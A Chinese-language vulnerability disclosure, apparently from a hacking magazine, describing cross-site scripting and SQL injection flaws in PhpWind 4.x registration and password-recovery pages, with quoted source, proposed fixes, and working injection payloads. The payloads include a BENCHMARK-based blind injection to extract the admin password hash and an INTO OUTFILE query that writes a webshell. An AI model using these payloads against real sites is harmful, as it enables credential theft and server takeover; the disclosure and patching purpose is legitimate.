当前位置:
首页 > 漏洞 > PhpWind跨站、注入双重漏洞

PhpWind跨站、注入双重漏洞

PhpWind跨站、注入双重漏洞

原作者: 孤烟逐云

以下是漏洞报告:
漏洞文件:register.php、sendpwd.php
影响版本:PhpWind 4.0.1-4.3.2
测试版本:PhpWind 4.0.1
测试环境:WindowsXp Professional SP2 + MySQL

匪夷所思的跨站
跨站的问题出在注册页面register.php中,从123行开始代码如下:

$rg_name = Char_cv($regname);
$regpwd = Char_cv($regpwd);
$rg_pwd = md5($regpwd);
$regreason = Char_cv($regreason);
$rg_homepage = Char_cv($reghomepage);
$rg_from = Char_cv($regfrom);
$rg_introduce = Char_cv($regintroduce);
$rg_sign = Char_cv($regsign);//对用户提交的数据进行特殊字符的过滤
if(strlen($rg_introduce)>200) Showmsg('introduce_limit');
//自我介绍的内容不能大于50字节
if($rg_sign != ""){
if(strlen($rg_sign)>50){
$gp_signnum=50;
Showmsg('sign_limit');
}
require_once(R_P.'require/bbscode.php');
$lxsign=convert($rg_sign,$db_windpic,2);
if($lxsign==$rg_sign){
$rg_ifconvert=1;
} else{
$rg_ifconvert=2;
}
} else{
$rg_ifconvert=1;
}
if(@include_once(D_P."data/bbscache/wordsfb.php")){
if($wordsfb){
foreach($wordsfb as $key => $value){
if(strpos($rg_sign,(string)$key) !== false){
$banword = $key;
Showmsg('post_wordsfb');
}//从数组中取出关键字进行过滤
if(strpos($rg_introduce,(string)$key) !== false){
$banword = $key;
Showmsg('post_wordsfb');
}
}
}
}
if (strpos($regpwd,"\r")!==false || strpos($regpwd,"\t")!==false || strpos($regpwd,"|")!==false || strpos($regpwd,"<")!==false || strpos($regpwd,">")!==false) {
Showmsg('illegal_password');
}//对用户提交的密码的判断
if (empty($regemail) || !ereg("^[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$regemail)) {
Showmsg('illegal_email');
} else{
$rg_email=$regemail;
}//对用户提交的Email的判断
//查询数据库是否有相同用户名的用户
$rs = $db->get_one("Select COUNT(*) AS count FROM pw_members Where username='$rg_name'");
if($rs['count']>0) {
Showmsg('username_same');
}
//从数组取出禁止注册的用户名一一与用户的进行比对
$rg_name=='guest' && Showmsg('illegal_username');
$rg_banname=explode(',',$rg_banname);
foreach($rg_banname as $value){
if(strpos($rg_name,$value)!==false){
Showmsg('illegal_username');
}
}
$rg_XXX=$regXXX ? $regXXX : "0";
$rg_birth= (!$regbirthyear||!$regbirthmonth||!$regbirthday)?'0000-00-00':$regbirthyear."-".$regbirthmonth."-".$regbirthday;
$rg_oicq=($regoicq ? $regoicq :'');
$rg_homepage=$reghomepage ? $reghomepage :'';
$rg_from=$regfrom ? $regfrom : '';
其中的Char_cv函数负责对用户提交的数据进行特殊字符的过滤,函数的代码如下:
function Char_cv($msg){
$msg = str_replace("\t","",$msg);
$msg = str_replace("<","<",$msg); $msg = str_replace(">",">",$msg);
$msg = str_replace("\r","",$msg);
$msg = str_replace("\n","
",$msg);
$msg = str_replace(" "," ",$msg); return $msg;
}

不知大家发现没有,几乎所有的关键字都被过滤了,跨站从何而来?戴着眼镜的同志请扶好眼镜,因为接下来发生的事也许会让你把眼镜摔坏:跨站就出现在对个人主页的过滤不完全上!尽管127行的“$rg_homepage = Char_cv($reghomepage);”对用户提交的主页数据进行了过滤,但是184行却有这样一句“$rg_homepage=$reghomepage ? $reghomepage :'';”。熟悉C语言的朋友应该知道,如果reghomepage变量不为空则将值赋予reghomepage变量。
现在我们来测试一下:填写注册信息的时候,我们在“个人主页”栏填入“”,因为注册后修改资料的Profile.php可以把它过滤掉,所以我们就不要想后期修改资料了。此时“<”被转义成“<”。
不过只有版主以上的用户才有看个人资料的权利,所以此漏洞利用起来还是比较困难的。然而我们可以配合下面介绍的注入漏洞一并使用。当满足一定条件后,就可以直接获得WebShell。
经本人测试,互联网上几乎所有的PhpWind论坛都存在此跨站漏洞。在官方补丁出来之前,可以暂时采用如下方案,将两句出现问题的代码交换位置:
$rg_homepage=$reghomepage ? $reghomepage :'';
$rg_homepage = Char_cv($rg_homepage);

百密一疏的注入
问题出现在sendpwd.php取回密码页面,它没有对用户提交的pwuser变量进行充分的过滤,因此有可能直接威胁到整个服务器的安全,出现问题的代码如下:

require_once('global.php');
require_once(R_P.'require/header.php');
!$action && $action='sendpwd';
if ($action == 'sendpwd'){
list(,,,,$othergd)=explode("\t",$db_gdcheck);
if (!$_POST['step']){
require_once(PrintEot('sendpwd'));footer();
} elseif ($_POST['step'] == 2){
$othergd && GetCookie('cknum')!=md5(D_P.$gdcode) && Showmsg('check_error');
$userarray = $db->get_one("Select password,email,regdate FROM pw_members Where username='$pwuser'");//非常明显没有对pwuser变量进行过滤就放入了查询中
if ($userarray['email'] != $email){
Showmsg('email_error',1);
}

问题出现在这里:“$db->get_one("Select password,email,regdate FROM pw_members Where username='$pwuser'");”这里是一个十分明显的注入点,我们应该怎样利用呢?由于页面本身对用户名有16字节的限制,因此在测试的时候可以先保存整个Html页,然后修改其中的源代码如下:

密码发送程序
利用论坛的用户名和email发送密码,请输入您的用户名和email地址:

用户名 :
Email :


将其中的表单提交地址“action=/sendpwd.php?”修改为相应的地址:“http://localhost/bbs/sendpwd.php?”,并将用户名的size值加大,不然我们的注入语句可能填不下(这里改成160),现在开始注入。
我想常看黑防的读者应该对Php+MySQL架构下的注入不陌生了,MySQL4的UNION查询对注入提供了极大的便利。但是这里还有一个问题,就是无论你猜测的正确与否,它都不会返回任何有用的信息。所以这里我们需要使用盲注:Blind Injection可以在错误回显关闭的情况下进行判断查询语句的正确与否。我们需要用到MySQL的BENCHMARK函数, MySQL中文参考手册对其解释如下:
BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于MySQL客户,它报告查询的执行时间。

mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
+----------------------------------------------+
| BENCHMARK(1000000,encode("hello","goodbye")) |
+----------------------------------------------+
| 0 |
+----------------------------------------------+
1 row in set (4.74 sec)

聪明的你应该想到办法了。不错,就是通过暴力运算打一个时间差,进行返回结果正确与否的判断。这不是什么新技术,国外早在几年前就已经开始利用了。当然,MSSQL中也有这样的技术,我们构造语句如下:“admin' UNION Select IF (SUBSTRING(password,1,1) = CHAR(53), BENCHMARK(1000000, MD5(CHAR(1))), null),1, 1 FROM pw_members Where uid= 1/*”
假如Admin密码第一位是5,我们就执行一百万次MD5加密运算,返回结果其实并不重要。如果猜测正确,IE会出现明显的停顿。假如你觉得效果还不明显只要增加次数就可以了。
反之如果错误则会立刻返回结果。这是比较严重的漏洞,理论上可以获得论坛所有用户的MD5 Hash。
上文说到,我们可以把两个漏洞联系起来使用,它的前提条件是:知道目标Web目录的绝对路径。我们可以构造语句如下:“' union select 1,2,site from pw_members where username='asdf' into outfile 'c:\\inetpub\\wwwroot\\1.php'/*”,这样就获得了一个WebShell。
想获得Shell以及密码Hash还有一个必要的条件就是“magic_quotes_gpc = Off”(magic_quotes_gpc选项能够自动转义单引号等特殊符号)。如果服务器返回“查询的用户名不存在”或者“’”前面多了个斜杠那就基本没戏了,希望广大网管朋友尽快堵住此漏洞,说不定有高手能绕过mgp的限制。
在实际利用中我们发现“site”字段有大小限制,所以只能提交一些非常简陋的Shell,因此跨站的利用代码不能太长,我填写的个人主页代码如下:“”,这样正好。
PhpWind论坛的MD5 hash长度是32位,手工猜测十分废力。为此我写了一个Exploit,以便提高猜解的效率。
程序采用了C++SDK编写,通过对目标提交畸形请求,根据send函数和recv函数返回的时间差进行判断是否猜对,具体代码请参见光盘。

无奈的解决方案
在“$userarray = $db->get_one("Select password,email,regdate FROM pw_members Where username='$pwuser'");”之前添加如下代码:
$S_key = array("\\",'&',' ',"'",'"','/','*',',','<','>',"\r","\t","\n",'#','(',')');
foreach($S_key as $value){
if (strpos($pwuser,$value) !== false){
echo"非法的用户名!";
exit;
}
}

PhpWind跨站、注入双重漏洞:等您坐沙发呢!

发表评论

表情
还能输入210个字